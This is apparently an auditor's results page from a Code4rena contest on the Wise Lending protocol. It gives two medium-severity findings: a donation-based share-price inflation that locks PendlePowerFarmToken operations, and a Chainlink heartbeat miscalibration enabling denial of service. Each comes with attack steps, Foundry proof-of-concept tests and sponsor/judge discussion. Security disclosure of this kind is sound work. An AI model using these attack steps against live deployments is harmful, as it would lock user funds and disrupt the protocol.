Wise Lending - 00xSEV's results

Decentralized liquidity market that allows users to supply crypto assets and start earning a variable APY from borrowers.

General Information

Platform: Code4rena

Start Date: 21/02/2024

Pot Size: $200,000 USDC

Total HM: 22

Participants: 36

Period: 19 days

Judge: Trust

Total Solo HM: 12

Id: 330

League: ETH

Wise Lending

Findings Distribution

Researcher Performance

Rank: 8/36

Findings: 2

Award: $7,312.25

🌟 Selected for report: 1

🚀 Solo Findings: 1

Findings Information

🌟 Selected for report: NentoR

Also found by: 00xSEV, NentoR

Labels

bug
2 (Med Risk)
high quality report
:robot:_88_group
satisfactory
duplicate-123

Awards

1880.2924 USDC - $1,880.29

External Links

Lines of code

https://github.com/code-423n4/2024-02-wise-lending/blob/1240a22a3bbffc13d5f8ae6300ef45de5edc7c19/contracts/PowerFarms/PendlePowerFarmController/PendlePowerFarmToken.sol#L114-L130

Vulnerability details

Summary

An attacker can inflate a share price using donation with addCompoundRewards. It will lead to reverts in syncSupply modifier effectively locking the PendlePowerFarmToken

Vulnerability Details

  1. _validateSharePriceGrowth reverts if the share price grew too fast
    function _validateSharePriceGrowth(
        uint256 _sharePriceNow
    )
        private
        view
    {
        uint256 timeDifference = block.timestamp
            - INITIAL_TIME_STAMP;

        uint256 maximum = timeDifference
            * RESTRICTION_FACTOR
            + PRECISION_FACTOR_E18;

        if (_sharePriceNow > maximum) {
            revert InvalidSharePriceGrowth();
        }
    }
  1. Anyone can donate to a PendlePowerFarmToken using addCompoundRewards, increasing totalLpAssetsToDistribute https://github.com/code-423n4/2024-02-wise-lending/blob/1240a22a3bbffc13d5f8ae6300ef45de5edc7c19/contracts/PowerFarms/PendlePowerFarmController/PendlePowerFarmToken.sol#L502-L524
    function addCompoundRewards(
        uint256 _amount
    )
        external
        syncSupply
    {
        if (_amount == 0) {
            revert ZeroAmount();
        }

        totalLpAssetsToDistribute += _amount;

        if (msg.sender == PENDLE_POWER_FARM_CONTROLLER) {
            return;
        }

        _safeTransferFrom(
            UNDERLYING_PENDLE_MARKET,
            msg.sender,
            PENDLE_POWER_FARM_CONTROLLER,
            _amount
        );
    }
  1. The PendlePowerFarmToken.syncSupply modifier calls the PendlePowerFarmToken._syncSupply, which moves the totalLpAssetsToDistribute to underlyingLpAssetsCurrent, thereby increasing the share price. https://github.com/code-423n4/2024-02-wise-lending/blob/1240a22a3bbffc13d5f8ae6300ef45de5edc7c19/contracts/PowerFarms/PendlePowerFarmController/PendlePowerFarmToken.sol#L334-L345
    function _syncSupply()
        private
    {
        uint256 additonalAssets = previewDistribution();

        if (additonalAssets == 0) {
            return;
        }

        underlyingLpAssetsCurrent += additonalAssets;
        totalLpAssetsToDistribute -= additonalAssets;
    }
  1. Then, it calls _validateSharePriceGrowth, leading to a revert. https://github.com/code-423n4/2024-02-wise-lending/blob/1240a22a3bbffc13d5f8ae6300ef45de5edc7c19/contracts/PowerFarms/PendlePowerFarmController/PendlePowerFarmToken.sol#L81-L96
    modifier syncSupply()
    {
        _triggerIndexUpdate();
        _overWriteCheck();
@>      _syncSupply();
        _updateRewards();
        _setLastInteraction();
        _increaseCardinalityNext();
        uint256 sharePriceBefore = _getSharePrice();
        _;
@>      _validateSharePriceGrowth(
            _validateSharePrice(
                sharePriceBefore
            )
        );
    }
  1. Deposits, withdrawals, and manualSync will revert because they use the syncSupply modifier.
  2. This also applies to PendlePowerFarmController.exchangeRewardsForCompoundingWithIncentive and PendlePowerFarmController.exchangeLpFeesForPendleWithIncentive (which calls PendlePowerFarmController.syncSupply => PendlePowerFarmController._syncSupply => PendlePowerFarmToken.manualSync).

It's cheapest to perform this attack on a new pool or a pool with very low deposits. However, it can also be done on larger pools, but the cost of the attack will be higher.

Steps for the attack:

  1. Choose a PendlePowerFarmToken, preferably one with low liquidity.
  2. Call addCompoundRewards
    1. To lock for 1 year, they would need to donate underlyingLpAssetsCurrent * RESTRICTION_FACTOR.
    2. To lock for 1 day, underlyingLpAssetsCurrent * RESTRICTION_FACTOR / 365.
    3. If the donation is bigger than ONE_WEEK, the attacker needs to check how active the pool is. ONE_WEEK in this case is a number. If it's active once a day (syncSupply is called once a day), they would need to donate 7x more.
    4. For activity every hour, 7*24x more.
    5. Essentially, the attacker wants additionalAssets to be large enough that the share price becomes too high.
  3. User funds are locked for the period the attacker desires.
  4. This may be used to influence the market, reducing the supply of a certain token to make a profit (by going long on that token before the attack, because less supply => higher price).

Impact

  1. PendlePowerFarmToken functions: Deposits, withdrawals, and manualSync will revert because they use the syncSupply modifier.
  2. As well as PendlePowerFarmController.exchangeRewardsForCompoundingWithIncentive and PendlePowerFarmController.exchangeLpFeesForPendleWithIncentive, as well as lockPendle, withdrawLock.
  3. There's no way to add this market again because addPendleMarket does not allow adding the same market again.

Proof of Concept

contracts/PowerFarms/PendlePowerFarmController/Donate.t.sol

forge test -f https://mainnet.infura.io/v3/YOUR_KEY -vvv --mc Donate --mt testOne


pragma solidity =0.8.24;

import "forge-std/console.sol";
import "forge-std/Test.sol";
import "./PendlePowerFarmControllerBase.t.sol";


contract Donate is PendlePowerFarmControllerBaseTest {

    function testOne() cheatSetup(true) external {
        vm.stopPrank();
        _test();
    }


    // This one is slower, take 2-3 minutes on my machine
    function testTwo() external {
        _setProperties();

        controllerTester = new PendleControllerTester(
            AddressesMap[chainId].vePendle,
            AddressesMap[chainId].pendleTokenAddress,
            AddressesMap[chainId].voterContract,
            AddressesMap[chainId].voterRewardsClaimer,
            AddressesMap[chainId].oracleHub
        );

        controllerTester.addPendleMarket(
            AddressesMap[chainId].PendleMarketStEth,
            "name",
            "symbol",
            MAX_CARDINALITY
        );

        _test();
    }

    function _test() internal {
        address market = AddressesMap[chainId].PendleMarketStEth;
        PendlePowerFarmToken ppfToken = PendlePowerFarmToken(
            controllerTester.pendleChildAddress(market)
        );
        _log(ppfToken, "start");


        deal(market, address(this), 100 ether);
        IERC20(market).approve(address(ppfToken), type(uint).max);
        ppfToken.depositExactAmount(100);
        _log(ppfToken, "depositExactAmount(100)");

        ppfToken.manualSync();
        _log(ppfToken, "manualSync");

        ppfToken.addCompoundRewards(2_000);
        _log(ppfToken, "addCompoundRewards(2_000)");

        // expect revert
        vm.warp(block.timestamp + 6);
        vm.expectRevert(InvalidSharePriceGrowth.selector);
        ppfToken.manualSync();
        _log(ppfToken, "manualSync after warp(6)");

        // make sure another deposit does not change it
        vm.expectRevert(InvalidSharePriceGrowth.selector);
        ppfToken.depositExactAmount(10_000);
        _log(ppfToken, "depositExactAmount(10_000)");

        // expect revert after 1 day
        vm.warp(block.timestamp + 1 days);
        vm.expectRevert(InvalidSharePriceGrowth.selector);
        ppfToken.manualSync();
        _log(ppfToken, "manualSync 1 day");

        // expect revert after 7 days
        vm.warp(block.timestamp + 7 days);
        vm.expectRevert(InvalidSharePriceGrowth.selector);
        ppfToken.manualSync();
        _log(ppfToken, "manualSync 7 days");


        // expect revert after 1 year
        vm.warp(block.timestamp + 365 days);
        vm.expectRevert(InvalidSharePriceGrowth.selector);
        ppfToken.manualSync();
        _log(ppfToken, "manualSync 1 year");

        // expect NO revert after 2 years 
        // becase the donated sum is initialDeposit * RESTRICTION_FACTOR * 2
        // If we donated more it would revert
        vm.warp(block.timestamp + (2 * 365 days));
        ppfToken.manualSync();
        _log(ppfToken, "manualSync 2 years");
    }

    function _log(PendlePowerFarmToken ppfToken, string memory text) internal view {
        console.log("___", text);
        console.log("totalSupply: \t\t\t", ppfToken.totalSupply());
        console.log("underlyingLpAssetsCurrent: ", ppfToken.underlyingLpAssetsCurrent());
        console.log("totalLpAssetsToDistribute: ", ppfToken.totalLpAssetsToDistribute());
    }
}

Tools Used

Manual review

  • Consider adding access control to addCompoundRewards.
  • Consider allowing the admin to change the RESTRICTION_FACTOR in case of an emergency.

Assessed type

Oracle

#0 - c4-pre-sort

2024-03-17T15:38:27Z

GalloDaSballo marked the issue as primary issue

#1 - GalloDaSballo

2024-03-17T15:38:44Z

Please review this + #123 and #125 for best as they are very close

#2 - c4-pre-sort

2024-03-17T15:38:48Z

GalloDaSballo marked the issue as high quality report

#3 - vonMangoldt

2024-03-20T13:30:52Z

Yes true but its not a high since you can always withdraw and we can redeploy a new one everytime. So no user funds at risk or funds lost or blocked. Downgraded imo. Still a reason to introduce a role for compound adding and a solid medium imo

#4 - vm06007

2024-03-20T15:04:15Z

@GalloDaSballo please mark this as disagree with severity (add label)

#5 - vm06007

2024-03-20T15:06:34Z

Seems only deposits can be locked, which is similar to admin calling shutdown on farm and stopping farm from working. Withdrawals are not blocked so all users could still exit the farm without any issues.

#6 - vm06007

2024-03-20T15:07:27Z

POC also shows only depositExactAmount calls, but not other functions at risk.

#7 - vm06007

2024-03-20T15:09:59Z

this might be a duplicate though: https://github.com/code-423n4/2024-02-wise-lending-findings/issues/86 then #88 could be closed in favor of #86

#8 - GalloDaSballo

2024-03-20T15:17:13Z

@GalloDaSballo please mark this as disagree with severity (add label)

Have asked Staff to reach out!

#9 - c4-judge

2024-03-26T17:02:45Z

trust1995 marked issue #123 as primary and marked this issue as a duplicate of 123

#10 - c4-judge

2024-03-26T18:59:26Z

trust1995 marked the issue as satisfactory

Findings Information

🌟 Selected for report: 00xSEV

Labels

bug
2 (Med Risk)
sufficient quality report
primary issue
satisfactory
selected for report
M-14

Awards

5431.9558 USDC - $5,431.96

External Links

Lines of code

https://github.com/code-423n4/2024-02-wise-lending/blob/1240a22a3bbffc13d5f8ae6300ef45de5edc7c19/contracts/WiseOracleHub/OracleHelper.sol#L651

Vulnerability details

Summary

Currently, if there are 50 fast updates followed by no updates, a Chainlink oracle will be considered dead, even though it's normal behavior. Chainlink Oracles update either after some time has passed or upon a price change.

Vulnerability Details

  1. How it will revert

There is a _chainLinkIsDead function that returns true if the last update took longer than the heartbeat. https://github.com/code-423n4/2024-02-wise-lending/blob/1240a22a3bbffc13d5f8ae6300ef45de5edc7c19/contracts/WiseOracleHub/OracleHelper.sol#L579-L585

unchecked {
	upd = block.timestamp < upd
		? block.timestamp
		: block.timestamp - upd;

	return upd > heartBeat[_tokenAddress];
}

It's essentially called on every request to the Chainlink oracle, before the actual call, to ensure the price is up to date.

  1. How does recalibrate work

heartBeat is updated when recalibrate/recalibrateBulk is called. Anyone can call them.

Both of these functions call _recalibrate. https://github.com/code-423n4/2024-02-wise-lending/blob/1240a22a3bbffc13d5f8ae6300ef45de5edc7c19/contracts/WiseOracleHub/OracleHelper.sol#L512-L514

        heartBeat[_tokenAddress] = _recalibratePreview(
            _tokenAddress
        );

In _recalibratePreview, we see that currentSecondBiggest is returned, representing the second-largest difference between updates. Thus, heartBeat is set to the second-largest time difference between two consecutive updates in the last 50 updates. iterationCount is capped by MAX_ROUND_COUNT in _getIterationCount, which is set to 50.

  1. How do Chainlink updates work

Aggregators receive updates from the oracle network only when the Deviation Threshold or Heartbeat Threshold triggers an update during an aggregation round. The first condition that is met triggers an update to the data.

  • Deviation Threshold: A new aggregation round starts when a node identifies that the off-chain values deviate by more than the defined deviation threshold from the onchain value. Individual nodes monitor one or more data providers for each feed.
  • Heartbeat Threshold: A new aggregation round starts after a specified amount of time from the last update.

If you check "Show more details" here, you can see that for most feeds, deviation is set to 1-2% and heartbeat is 86400s=24 hours. However, some feeds are set to 0.5% or even less.

  1. Summary

If there's a period of high volatility followed by no volatility, it's possible that heartBeat in Wise will be set to a low value. Consequently, the Chainlink feed will be considered dead after a short period of no updates.

E.g., if there are 50 updates, once every minute, followed by 10 hours of no updates, and then no updates for an additional 24 hours, the heartBeat will be set to 1 minute in Wise. Consequently, the oracle will be considered dead after 1 minute of no updates. This means it will be considered dead for the initial 10 hours, then considered alive for 1 minute, and then considered dead again for the following 24 hours.

Examples demonstrating similar events in the wild can be seen in this Dune dashboard: https://dune.com/00xsev/answer-updated-counters.

Impact

The Chainlink Oracle is considered dead for a substantial amount of time, affecting liquidations, deposits, withdrawals, and all other functions using this oracle.

The attacker can disable the entire market that uses the oracle by calling recalibrate. This can lead to bad debt (the price changes rapidly, but the oracle still reverts after the first update), griefing (users cannot use the protocol), etc.

It can be even worse if combined with block stuffing or when the gas price is too high and Chainlink does not update. The updates stop coming as often as usual, and the feed is considered dead long enough to accrue bad debt. For example, if the last 50 updates occurred every minute, a sudden spike in demand for block space could make updates come only once an hour, preventing liquidations for 1-2 hours.

Proof of Concept

forge test -f https://mainnet.infura.io/v3/YOUR_KEY -vvv --mt testOne --mc ChainlinkDies$

contracts/Tests/ChainlinkDies.t.sol

pragma solidity =0.8.24;

import "forge-std/console.sol";
import "forge-std/Test.sol";
import "../WiseOracleHub/OracleHelper.sol";


contract OracleHelperMock is OracleHelper {
    constructor(
        address _wethAddress,
        address _ethPriceFeed,
        address _uniswapV3Factory
    ) Declarations(_wethAddress, _ethPriceFeed, _uniswapV3Factory) {
        
    }

    function addOracle(
        address _tokenAddress,
        IPriceFeed _priceFeedAddress,
        address[] calldata _underlyingFeedTokens
    ) external {
        _addOracle(
            _tokenAddress,
            _priceFeedAddress,
            _underlyingFeedTokens
        );
    }

    function recalibrate(
        address _tokenAddress
    )
        external
    {
        _recalibrate(_tokenAddress);
    }

    function chainLinkIsDead(
        address _tokenAddress
    )
        external
        view
        returns (bool)
    {
       return _chainLinkIsDead(_tokenAddress);
    }
}

interface PartialAccessControlledOffchainAggregator is IPriceFeed {
    function disableAccessCheck() external;
    function owner() external returns (address);
    function checkEnabled() external returns (bool);
}

contract ChainlinkDies is Test {
    address WETH_ADDRESS = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    address ETH_PRICE_FEED = 0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419;
    address UNISWAP_V3_FACTORY = 0x1F98431c8aD98523631AE4a59f267346ea31F984;

    address FEI = 0x956F47F50A910163D8BF957Cf5846D573E7f87CA;
    PartialAccessControlledOffchainAggregator FEI_ETH_FEED = 
        PartialAccessControlledOffchainAggregator(0x4bE991B4d560BBa8308110Ed1E0D7F8dA60ACf6A);

    uint LAST_NORMAL_BLOCK = 16_866_049;
    // one block before the update after no updates for a day
    uint TARGET_BLOCK = 16_872_122; 

    function testOne() external {
        OracleHelperMock sut = _test(LAST_NORMAL_BLOCK);
        assertFalse(sut.chainLinkIsDead(FEI));

        sut = _test(TARGET_BLOCK);
        assert(sut.chainLinkIsDead(FEI));
    }

    function _test(uint blockNumber) internal returns (OracleHelperMock) {
        vm.rollFork(blockNumber);

        vm.prank(FEI_ETH_FEED.owner());
        FEI_ETH_FEED.disableAccessCheck();
        assertFalse(FEI_ETH_FEED.checkEnabled());

        OracleHelperMock sut = new OracleHelperMock(WETH_ADDRESS, ETH_PRICE_FEED, UNISWAP_V3_FACTORY);
        // make sure recalibrate works
        sut.addOracle( {
            _tokenAddress: FEI,
            _priceFeedAddress: FEI_ETH_FEED,
            _underlyingFeedTokens: new address[](0)
        } );
        sut.recalibrate(FEI);
        console.log("block:", blockNumber);
        console.log("chainLinkIsDead:", sut.chainLinkIsDead(FEI));

        return sut;
    }


}

Tools Used

Manual review

  • Consider setting Chainlink's native heartbeat instead.
  • Consider adding access control to recalibrate functions and only calling it when it will not lead to DoS.

Assessed type

Oracle

#0 - c4-pre-sort

2024-03-17T14:34:49Z

GalloDaSballo marked the issue as primary issue

#1 - c4-pre-sort

2024-03-17T14:34:56Z

GalloDaSballo marked the issue as sufficient quality report

#2 - GalloDaSballo

2024-03-17T14:35:21Z

Worth discussing if CL heartbeat changes can cause issues as that's something that can happen based on your CL deals and other projects sponsorship of Feeds

#3 - vonMangoldt

2024-03-20T09:34:56Z

it takes second highest out of last50 rounds if you recalibrate. If it takes forever to update for chainlink it means there is no volatility. So dismissed

#4 - c4-judge

2024-03-26T16:57:17Z

trust1995 marked the issue as satisfactory

#5 - trust1995

2024-03-26T16:58:23Z

Warden discussed a potential scenario when the oracle would be considered dead after just one minute of inactivity.

#6 - c4-judge

2024-03-26T16:58:29Z

trust1995 marked the issue as selected for report

#7 - vm06007

2024-04-02T14:27:27Z

Warden discussed a potential scenario when the oracle would be considered dead after just one minute of inactivity.

it depends on the expected heartbeat, if its one minute, and latest data does not come within that frame then oracle SHOULD be considered dead.

Example: recalibrate() looks for second longest time gap between latest 50 (or 500 depending on chain) rounds, by analyzing timegaps between reported prices in last 50/500 rounds contract chooses appropirate expected timeframe when oracle needs to answer before considered dead. If the time frame is too short this is only because that what was picked up from latest round data and should be honored (unlike this finding)

Note that it can be recalibrated to increase the expected time if needed.

#8 - thebrittfactor

2024-04-29T14:37:15Z

For transparency and per conversation with the sponsors, see here for the Wise Lending team's mitigation.

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter